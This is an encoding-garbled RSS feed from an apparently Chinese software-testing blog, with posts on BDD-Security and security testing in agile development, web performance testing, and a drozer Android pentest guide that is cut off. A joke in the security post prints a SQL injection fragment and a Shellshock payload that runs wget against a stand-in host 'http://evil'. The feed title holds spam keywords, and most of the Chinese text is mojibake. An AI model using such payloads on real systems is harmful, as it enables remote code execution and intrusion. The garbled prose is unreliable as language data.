锘??xml version="1.0" encoding="utf-8" standalone="yes"?>久久久久亚洲AV无码观看,免费在线观看亚洲,久久亚洲精品国产精品黑人http://www.tkk7.com/qileilove/blog宸茬粡杞Щ鑷砱ithub,澶у璇瘋闂?http://qaseven.github.io/zh-cnFri, 09 May 2025 16:49:04 GMTFri, 09 May 2025 16:49:04 GMT60鍦ㄥ紑鍙戞祦紼嬩腑宓屽叆瀹夊叏嫻嬭瘯http://www.tkk7.com/qileilove/archive/2015/03/18/423599.html欏哄叾鑷劧EVO欏哄叾鑷劧EVOWed, 18 Mar 2015 14:10:00 GMThttp://www.tkk7.com/qileilove/archive/2015/03/18/423599.htmlhttp://www.tkk7.com/qileilove/comments/423599.htmlhttp://www.tkk7.com/qileilove/archive/2015/03/18/423599.html#Feedback0http://www.tkk7.com/qileilove/comments/commentRss/423599.htmlhttp://www.tkk7.com/qileilove/services/trackbacks/423599.html銆ContinuumSecurity鍒涘浜篠tephen de Vries錛屽湪Velocity Europe 2014澶т細(xì)涓婃彁鍑轟簡(jiǎn)鎸佺畫涓斿彲瑙嗗寲鐨?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;">瀹夊叏嫻嬭瘯鐨勮鐐廣係tephen琛ㄧず錛岄偅浜涘湪鏁忔嵎寮鍙戣繃紼嬩腑鐢ㄤ簬灝哘A宓屽叆鏁翠釜寮鍙戞祦紼嬬殑鏂規(guī)硶鍜屽伐鍏烽兘鑳藉悓鏍風(fēng)殑鐢ㄤ簬瀹夊叏嫻嬭瘯銆侭DD-Security鏄竴涓熀浜嶫Behave錛屼笖閬靛驚Given-When-Then鏂規(guī)硶鐨勫畨鍏ㄦ祴璇曟鏋躲?/div>
銆銆浼犵粺鐨勫畨鍏ㄦ祴璇曢兘閬靛驚鐎戝竷嫻佺▼錛屼篃灝辨槸璇村畨鍏ㄥ洟闃熸繪槸鍦ㄥ紑鍙戦樁孌電殑鏈湡鎵嶅弬涓庤繘鏉ワ紝騫朵笖閫氬父闇瑕佸閮ㄤ笓瀹剁殑甯姪銆傚湪鏁翠釜寮鍙戞祦紼嬩腑錛屾笚閫忔祴璇曟繪槸琚畨鎺掑埌寰堟櫄鎵嶅仛錛屼嬌寰椾負(fù)搴旂敤鍋氬畨鍏ㄩ槻鑼冪殑浠誨姟灝ゅ叾鍥伴毦涓斿鏉傘係tephen璁や負(fù)瀹夊叏嫻嬭瘯瀹屽叏鍙互鍙樺緱鍍廞A涓鏍鳳細(xì)姣忎釜浜洪兘瀵瑰畨鍏ㄩ棶棰樿礋璐o紱瀹夊叏闂鍙互鍦ㄦ洿鎺ヨ繎浠g爜鐨勫眰闈㈣冭檻錛涘畨鍏ㄦ祴璇曞畬鍏ㄥ彲浠ュ祵鍏ヤ竴涓寔緇泦鎴愮殑寮鍙戣繃紼嬩腑銆?/div>
銆銆涓轟簡(jiǎn)璁鴻瘉QA鍜屽畨鍏ㄦ祴璇曞彧鏈夐噺鐨勫尯鍒屾病鏈夎川鐨勫尯鍒紝Stephen灞曠ず浜?jiǎn)C. Maartmann-Moe鍜孊ill Sempf鍒嗗埆鍙戝竷鐨勬帹鐗癸細(xì)
銆銆浠嶲A鐨勮搴︼細(xì)
銆銆QA宸ョ▼甯堣蛋榪涗竴瀹墮厭鍚э紝鐐逛簡(jiǎn)涓鏉暏閰掞紱鐐逛簡(jiǎn)0鏉暏閰掞紱鐐逛簡(jiǎn)999999999鏉暏閰掞紱鐐逛簡(jiǎn)涓鍙湧铚達(dá)紱鐐逛簡(jiǎn)-1鏉暏閰掞紱鐐逛簡(jiǎn)涓涓猻fdeljknesv銆?/div>
銆銆浠庡畨鍏ㄧ殑瑙掑害錛?/div>
銆銆娓楅忔祴璇曞伐紼嬪笀璧拌繘涓瀹墮厭鍚э紝鐐逛簡(jiǎn)涓鏉暏閰掞紱鐐逛簡(jiǎn)”>鏉暏閰掞紱鐐逛簡(jiǎn)’or 1=1-鏉暏閰掞紱鐐逛簡(jiǎn)() { :; }; wget -O /beers http://evil; /鏉暏閰掋傘銆瑕佸皢瀹夊叏嫻嬭瘯闆嗘垚榪涙晱鎹峰紑鍙戞祦紼嬩腑錛岄鍏堥渶瑕佹弧瓚崇殑鏉′歡鏄細(xì)鍙鎬э紝浠ヤ究閲囧彇鍙?qiáng)鏃跺簲瀵规帾鏂津q朵慨琛ワ紱鍙祴璇曟э紝浠ヤ究浜庤嚜鍔ㄥ寲錛屾瘮浠呬粎綆鍗曠殑鎵弿鏇存湁浠峰箋係tephen鍙戠幇BDD宸ュ叿鏃忓氨鍚屾椂婊¤凍浜?jiǎn)鍙鎬у強(qiáng)鍙祴璇曟э紝鍥犳浠栧紑濮嬬潃鎵嬫瀯寤築DD-Security瀹夊叏嫻嬭瘯妗嗘灦銆?/div>
銆銆鐢變簬BDD-Security鏄熀浜嶫Behave鏋勫緩鐨勶紝鍥犳瀹冧嬌鐢˙DD鐨勬爣鍑嗚鏄庤璦Gherkin銆備竴涓狟DD-Security嫻嬭瘯鍦烘櫙濡備笅錛?/div>
銆銆Scenario: Transmit authentication credentials over HTTPS
銆銆Meta: @id auth_https
銆銆Given the browser is configured to use an intercepting proxy
銆銆And the proxy logs are cleared
銆銆And the default user logs in with credentials from: users.table
銆銆And the HTTP request-response containing the default credentials is inspected
銆銆Then the protocol should be HTTPS
銆銆BDD-Security鐢ㄦ埛鏁呬簨鐨勭紪鍐欎笌閫氬父鍋氭硶涓嶅お涓鏍楓侭DD-Security璇存槑欏甸潰涓婂啓鐫錛?/div>
銆銆鏈鏋剁殑鏋舵瀯璁捐浣垮緱瀹夊叏鐢ㄤ緥鏁呬簨涓庡簲鐢ㄧ殑鐗瑰畾瀵艱埅閫昏緫鐩鎬簰鐙珛錛岃繖鎰忓懗鐫鍚屼竴涓敤鎴鋒晠浜嬩粎闇瑕佸仛寰皬鐨勬敼鍔ㄥ氨鑳界敤鍦ㄥ涓簲鐢ㄤ腑錛屾湁鏃剁敋鑷蟲棤闇淇敼銆?/div>
銆銆榪欎篃璇存槑BDD-Security妗嗘灦璁や負(fù)瀵硅澶氬簲鐢ㄦ潵璇達(dá)紝鏈変竴緋誨垪瀹夊叏闇姹傞兘鏄櫘閬嶈婊¤凍鐨勩備篃灝辨槸璇翠綘鍙渶鍐欎唬鐮佹妸宸叉湁鐨勬晠浜嬫彃鍏ヤ綘鐨勫簲鐢?#8212;—涔熷氨鏄鑸昏緫涓嵆鍙傚綋鐒?dòng)灱屽繀瑕佺殑鏃跺欎綘涔熷畬鍏ㄥ彲浠ョ紪鍐欒嚜宸辯殑鐢ㄦ埛鏁呬簨銆?/div>
銆銆BDD-Security渚濊禆浜庣涓夋柟瀹夊叏嫻嬭瘯宸ュ叿鏉ユ墽琛屽叿浣撶殑瀹夊叏鐩稿叧鐨勮涓猴紝渚嬪搴旂敤鎵弿銆傝繖浜涘伐鍏鋒湁OWASP ZAP鎴朜essus絳夈?/div>
銆銆Stephen榪樻彁鍒板叾瀹冧竴浜涙湁綾諱技鍔熻兘鐨勫伐鍏楓傚Zap-WebDriver灝辨槸涓嬈炬洿綆鍗曠殑宸ュ叿錛屼笉鍠滄BDD鏂瑰紡鐨勪漢鍙互鑰冭檻閲囩敤瀹冦侴auntlt涓嶣DD-Security妗嗘灦綾諱技錛屽悓鏍鋒敮鎸丅DD錛屽彧鏄畠浣跨敤鐨勭紪紼嬭璦鏄?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;">Ruby銆侻ittn鐢?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;">Python緙栧啓騫朵笖鍚屾牱涔熶嬌鐢℅herkin銆?/div>

]]>濡備綍榪涜W(xué)eb鏈嶅姟鐨勬ц兘嫻嬭瘯錛?/title><link>http://www.tkk7.com/qileilove/archive/2015/03/18/423598.html</link><dc:creator>欏哄叾鑷劧EVO</dc:creator><author>欏哄叾鑷劧EVO</author><pubDate>Wed, 18 Mar 2015 14:08:00 GMT</pubDate><guid>http://www.tkk7.com/qileilove/archive/2015/03/18/423598.html</guid><wfw:comment>http://www.tkk7.com/qileilove/comments/423598.html</wfw:comment><comments>http://www.tkk7.com/qileilove/archive/2015/03/18/423598.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.tkk7.com/qileilove/comments/commentRss/423598.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/qileilove/services/trackbacks/423598.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆闅忕潃嫻忚鍣ㄥ姛鑳界殑涓嶆柇瀹屽杽錛岀敤鎴烽噺涓嶆柇鐨勬攢鍗囷紝娑夊強(qiáng)鍒?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">web</strong></u></a>鏈嶅姟鐨勫姛鑳藉湪涓嶆柇鐨勫鍔狅紝瀵逛簬鎴戜滑<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">嫻嬭瘯</strong></u></a>鏉ヨ錛屾垜浠笉浠呰淇濊瘉鏈嶅姟绔姛鑳界殑姝g‘鎬э紝涔熻楠岃瘉鏈嶅姟绔▼搴忕殑鎬ц兘鏄惁絎﹀悎瑕佹眰銆傞偅涔?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">鎬ц兘嫻嬭瘯</strong></u></a>閮借鍋氫簺浠涔堝憿錛熸垜浠鎬庢牱榪涜鎬ц兘嫻嬭瘯鍛紵</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆<strong style="word-break: break-all; line-height: normal !important;">鎬ц兘嫻嬭瘯涓鑸細(xì)鍥寸粫浠ヤ笅榪欎簺闂鑰岃繘琛岋細(xì)</strong></div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆1. 浠涔堟儏鍐典笅闇瑕佸仛鎬ц兘嫻嬭瘯錛?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆2. 浠涔堟椂鍊欏仛鎬ц兘嫻嬭瘯錛?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆3. 鍋氭ц兘嫻嬭瘯闇瑕佸噯澶囧摢浜涘唴瀹癸紵</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆4. 浠涔堟牱鐨勬ц兘鎸囨爣鏄鍚堣姹傜殑錛?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆5. 鎬ц兘嫻嬭瘯闇瑕佹敹闆嗙殑鏁版嵁鏈夊摢浜涳紵</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆6. 鎬庢牱鏀墮泦榪欎簺鏁版嵁錛?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆7. 濡備綍鍒嗘瀽鏀墮泦鍒扮殑鏁版嵁錛?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆8. 濡備綍緇欏嚭鎬ц兘嫻嬭瘯鎶ュ憡錛?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆<strong style="word-break: break-all; line-height: normal !important;">銆鎬ц兘嫻嬭瘯鐨勬墽琛岃繃紼嬪強(qiáng)瑕佸仛鐨勪簨鍎夸富瑕佸寘鍚互涓嬪唴瀹癸細(xì)</strong></div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆1. 嫻嬭瘯璇勪及闃舵</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆鍦ㄨ繖涓樁孌碉紝鎴戜滑瑕佽瘎浼拌嫻嬬殑浜у搧鏄惁瑕佽繘琛屾ц兘嫻嬭瘯錛屽茍涓斿鐩墠鐨勬湇鍔″櫒鐜榪涜綺椾及錛屾湇鍔$殑鎬ц兘鏄惁婊¤凍鏉′歡銆?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆棣栧厛瑕佹槑紜彧瑕佹秹鍙?qiáng)鍒板噯澶囦笂绾跨殑鏈嶅姟绔骇鍝佸Q屽氨闇瑕佽繘琛屾ц兘嫻嬭瘯銆傚叾嬈″鏋滀駭鍝侀渶姹備腑鏄庣‘鎻愬埌浜?jiǎn)鎬ц兘鎸囨爣錛岄偅涔熷繀欏昏鍋氭ц兘嫻嬭瘯銆?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆嫻嬭瘯浜哄憳鍦ㄨ繘琛屾ц兘嫻嬭瘯鍓嶏紝闇瑕佹牴鎹綋鍓嶇殑鏀墮泦鍒扮殑鍚勭淇℃伅錛岄鍏堝仛鎬ц兘鐨勮瘎浼幫紝鏀墮泦鐨勫唴瀹逛富瑕佸寘鎷甫瀹姐佽姹傚寘澶у皬銆佸茍鍙戠敤鎴鋒暟鍜屽綋鍓峸eb鏈嶅姟鐨勫甫瀹界瓑</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆2. 嫻嬭瘯鍑嗗闃舵</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆鍦ㄨ繖涓樁孌碉紝鎴戜滑瑕佷簡(jiǎn)瑙d互涓嬪唴瀹癸細(xì)</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆a. 鏈嶅姟鍣ㄧ殑鏋舵瀯鏄粈涔堟牱鐨勶紝渚嬪錛歸eb鏈嶅姟鍣ㄦ槸浠涔堬紵鏄浣曢厤緗殑錛?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">鏁版嵁搴?/strong></u></a>鐢ㄧ殑鏄粈涔堬紵鏈嶅姟鐢ㄧ殑鏄粈涔堣璦緙栧啓鐨勶紵錛?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆b. 鏈嶅姟绔姛鑳界殑鍐呴儴閫昏緫瀹炵幇錛?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆c. 鏈嶅姟绔笌鏁版嵁搴撴槸濡備綍浜や簰鐨勶紝渚嬪錛氭暟鎹簱鐨勮〃緇撴瀯鏄粈涔堟牱鐨勶紵鏈嶅姟绔姛鑳芥槸鎬庢牱鎿嶄綔鏁版嵁搴撶殑錛?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆d. 鏈嶅姟绔笌瀹㈡埛绔箣闂存槸濡備綍榪涜浜や簰鐨勶紝鍗蟲帴鍙e畾涔夛紱</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆閫氳繃鏀墮泦浠ヤ笂淇℃伅錛屾祴璇曚漢鍛樻暣鐞嗗嚭鏈嶅姟鍣ㄧ鍚勬ā鍧椾箣闂寸殑浜や簰鍥撅紝瀹㈡埛绔笌鏈嶅姟绔箣闂寸殑浜や簰鍥句互鍙?qiáng)鏈嶅姟绔唴閮ㄥ姛鑳介昏緫瀹炵幇鐨勬祦紼嬪浘銆?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆e. 璇ユ湇鍔′笂綰垮悗鐨勭敤鎴烽噺棰勪及鏄灝戯紝濡傛灉鏃犳硶璇勪及鍑虹敤鎴烽噺錛岄偅涔堝彲浠ラ氳繃璁捐嫻嬭瘯鎵ц鐨勫満鏅緱鍑?guó)櫩欎釜鍊鹼紱</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆f. 涓婄嚎瑕侀儴緗插埌澶氬皯鍙版満鍣ㄤ笂錛屾瘡鍙版満鍣ㄧ殑璐熻澆鍧囪 鏄浣曡璁$殑錛屾瘡鍙版満鍣ㄧ殑閰嶇疆浠涔堟牱鐨勶紝緗戠粶鐜鏄粈涔堟牱鐨勩?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆g. 浜?jiǎn)瑙箣璇曠幆澧冧笌绾夸笂鐜鐨勪笉鍚屽Q屼緥濡傜綉緇滅幆澧冦佺‖浠墮厤緗瓑</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆h. 鍒跺畾嫻嬭瘯鎵ц鐨勭瓥鐣ワ紝鏄渶瑕侀獙璇侀渶姹備腑鐨勬寚鏍囪兘鍚﹁揪鍒幫紝榪樻槸璇勪及緋葷粺鐨勬渶澶у鐞嗚兘鍔涖?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆i. 娌熼氫笂綰跨殑鎸囨爣</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆閫氳繃鏀墮泦浠ヤ笂淇℃伅錛岀‘瀹氭ц兘<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">嫻嬭瘯鐢ㄤ緥</strong></u></a>璇ュ浣曡璁★紝濡備綍璁捐鎬ц兘嫻嬭瘯鐢ㄤ緥鎵ц鐨勫満鏅紝浠ュ強(qiáng)涓婄嚎鎸囨爣鐨勮瘎浼般?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆3. 嫻嬭瘯璁捐闃舵</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆鏍規(guī)嵁嫻嬭瘯浜哄憳閫氳繃涔嬪墠鏁寸悊鐨勪氦浜掑浘鍜屾祦紼嬪浘錛岃璁$浉搴旂殑鎬ц兘嫻嬭瘯鐢ㄤ緥銆傛ц兘嫻嬭瘯鐢ㄤ緥涓昏鍒嗕負(fù)棰勬湡鐩爣鐢ㄦ埛嫻嬭瘯錛岀敤鎴峰茍鍙戞祴璇曪紝鐤插姵寮哄害涓庡ぇ鏁伴噺嫻嬭瘯錛岀綉緇滄ц兘嫻嬭瘯錛屾湇鍔″櫒鎬ц兘嫻嬭瘯錛屽叿浣撶紪鍐欑殑嫻嬭瘯鐢ㄤ緥瑕佹洿鍏峰疄闄呮儏鍐佃繘琛岃鍑忋?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆鐢ㄤ緥緙栧啓鐨勬楠ゅぇ鑷村垎涓猴細(xì)</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆a. 閫氳繃鑴氭湰妯℃嫙鍗曚竴鐢ㄦ埛鏄浣曚嬌鐢ㄨ繖涓獁eb鏈嶅姟鐨勩傝繖閲屾ā鎷熺殑鍙互鏄敤鎴蜂嬌鐢╳eb鏈嶅姟鐨勬煇涓涓姩浣滄垨鏌愬嚑涓姩浣滐紝鏌愪竴涓姛鑳芥垨鍑犱釜鍔熻兘錛屼篃鍙互鏄嬌鐢╳eb鏈嶅姟鐨勬暣涓繃紼嬨?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆b. 鏍規(guī)嵁瀹㈡埛绔殑瀹為檯鎯呭喌鍜屾湇鍔″櫒绔殑絳栫暐錛岄氳繃灝嗚剼鏈腑鍙彉鐨勬暟鎹繘琛屽弬鏁板寲錛屾潵妯℃嫙澶氫釜鐢ㄦ埛鐨勬搷浣溿?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆c. 楠岃瘉鍙傛暟鍖栧悗鑴氭湰鍔熻兘鐨勬紜с?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆d. 娣誨姞媯(gè)鏌ョ偣</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆e. 璁捐鑴氭湰鎵ц鐨勭瓥鐣ワ紝濡傛瘡涓姛鑳界殑鎵ц嬈℃暟錛屽悇涓姛鑳界殑鎵ц欏哄簭絳?/div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">銆銆4. 嫻嬭瘯鎵ц闃舵<br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鏍規(guī)嵁瀹㈡埛绔殑浜у搧琛屼負(fù)璁捐web鏈嶅姟鐨勬祴璇曟墽琛屽満鏅強(qiáng)嫻嬭瘯鎵ц鐨勮繃紼嬶紝鍗蟲祴璇曟墽琛屾湡闂村彂鐢熺殑浜嬪効銆傞氳繃鐩戞帶紼嬪簭鏀墮泦web鏈嶅姟鐨勬ц兘鏁版嵁鍜寃eb鏈嶅姟鎵鍦ㄧ郴緇熺殑鎬ц兘鏁版嵁銆?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鍦ㄦ祴璇曟墽琛岃繃紼嬩腑錛岃繕瑕佷笉鏂殑鍏蟲敞浠ヤ笅鍐呭錛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆a. web鏈嶅姟鐨勮繛鎺ラ熷害濡備綍錛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆b. 姣忕鐨勭偣鍑?yán)L暟濡備綍錛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆c. Web鏈嶅姟鑳藉厑璁稿灝戜釜鐢ㄦ埛鍚屾椂鍦ㄧ嚎錛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆d. 濡傛灉瓚呰繃浜?jiǎn)杩欎釜鏁伴噺锛屼細(xì)鍑虹庮C粈涔堢幇璞★紵</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆e. Web鏈嶅姟鑳藉惁澶勭悊澶ч噺鐢ㄦ埛瀵瑰悓涓涓〉闈㈢殑璇鋒眰錛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆f. 濡傛灉web鏈嶅姟宕╂簝錛屾槸鍚︿細(xì)鑷姩鎭㈠錛?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆g. 緋葷粺鑳藉惁鍚屼竴鏃墮棿鍝嶅簲澶ч噺鐢ㄦ埛鐨勮姹傦紵</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆h. 鎵撳帇鏈虹殑緋葷粺璐熻澆鐘舵併?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆5. 嫻嬭瘯鍒嗘瀽闃舵</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆灝嗘敹闆嗗埌鐨勬暟鎹埗鎴愬浘琛紝鏌ョ湅鍚勬寚鏍囩殑鎬ц兘鍙樺寲鏇茬嚎錛岀粨鍚堜箣鍓嶇‘瀹氱殑涓婄嚎鎸囨爣錛屽鍚勯」鏁版嵁榪涜鍒嗘瀽錛屽凡紜畾鏄惁緇х畫瀵箇eb鏈嶅姟榪涜嫻嬭瘯錛岀粨鏋滄槸鍚﹁揪鍒頒簡(jiǎn)鏈熸湜鍊箋?/div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆6. 嫻嬭瘯楠岃瘉闃舵</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆鍦ㄥ紑鍙戦拡瀵瑰彂鐜扮殑鎬ц兘闂榪涜淇鍚庯紝瑕佸啀鎵ц鎬ц兘嫻嬭瘯鐨勭敤渚嬪闂榪涜楠岃瘉銆傝繖閲岄渶瑕佸叧娉ㄧ殑鏄紑鍙戝湪瑙e喅闂鐨勫悓鏃跺彲鑳芥棤鎰忎腑淇敼浜?jiǎn)鏌愪簺鍔熻兘锛屾墍浠ュ湪楠岃瘉鎬ц兘鐨勫悓鏃訛紝涔熻鍏蟲敞鍘熸湁鍔熻兘鏄惁鍙楀埌浜?jiǎn)濯?jiǎng)鍝?/div></div><div class="ogyvyth" id="weixin_s" style="word-break: break-all; margin: 0px 0px 10px; width: 350px; height: 32px; display: inline-block; position: relative; line-height: 1.8em !important; background-image: url(http://www.51testing.com/html/wx.jpg); background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: no-repeat;"><div style="word-break: break-all; margin: 4px 0px 10px 130px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: normal !important; background-color: #ffffff;"></div></div><img src ="http://www.tkk7.com/qileilove/aggbug/423598.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/qileilove/" target="_blank">欏哄叾鑷劧EVO</a> 2015-03-18 22:08 <a href="http://www.tkk7.com/qileilove/archive/2015/03/18/423598.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>鍒╃敤drozer榪涜Android娓楅忔祴璇?/title><link>http://www.tkk7.com/qileilove/archive/2015/03/18/423597.html</link><dc:creator>欏哄叾鑷劧EVO</dc:creator><author>欏哄叾鑷劧EVO</author><pubDate>Wed, 18 Mar 2015 14:06:00 GMT</pubDate><guid>http://www.tkk7.com/qileilove/archive/2015/03/18/423597.html</guid><wfw:comment>http://www.tkk7.com/qileilove/comments/423597.html</wfw:comment><comments>http://www.tkk7.com/qileilove/archive/2015/03/18/423597.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/qileilove/comments/commentRss/423597.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/qileilove/services/trackbacks/423597.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆<strong style="word-break: break-all; line-height: normal !important;">涓銆佸畨瑁呬笌鍚姩</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆<strong style="word-break: break-all; line-height: normal !important;">1. 瀹夎</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆絎竴姝ワ細(xì)浠巋ttp://mwr.to/drozer涓嬭澆Drozer (<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Windows</strong></u></a> Installer)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆絎簩姝ワ細(xì)鍦?a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Android</strong></u></a>璁懼涓畨瑁卆gent.apk</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆adb install agent.apk</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆<strong style="word-break: break-all; line-height: normal !important;">2. 鍚姩</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆絎竴姝ワ細(xì)鍦≒C涓婁嬌鐢╝db榪涜绔彛杞彂錛岃漿鍙戝埌Drozer浣跨敤鐨勭鍙?1415</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆adb forward tcp:31415 tcp:31415</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆絎簩姝ワ細(xì)鍦ˋndroid璁懼涓婂紑鍚疍rozer Agent</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆閫夋嫨embedded server-enable</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">銆銆絎笁姝ワ細(xì)鍦≒C涓婂紑鍚疍rozer console</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 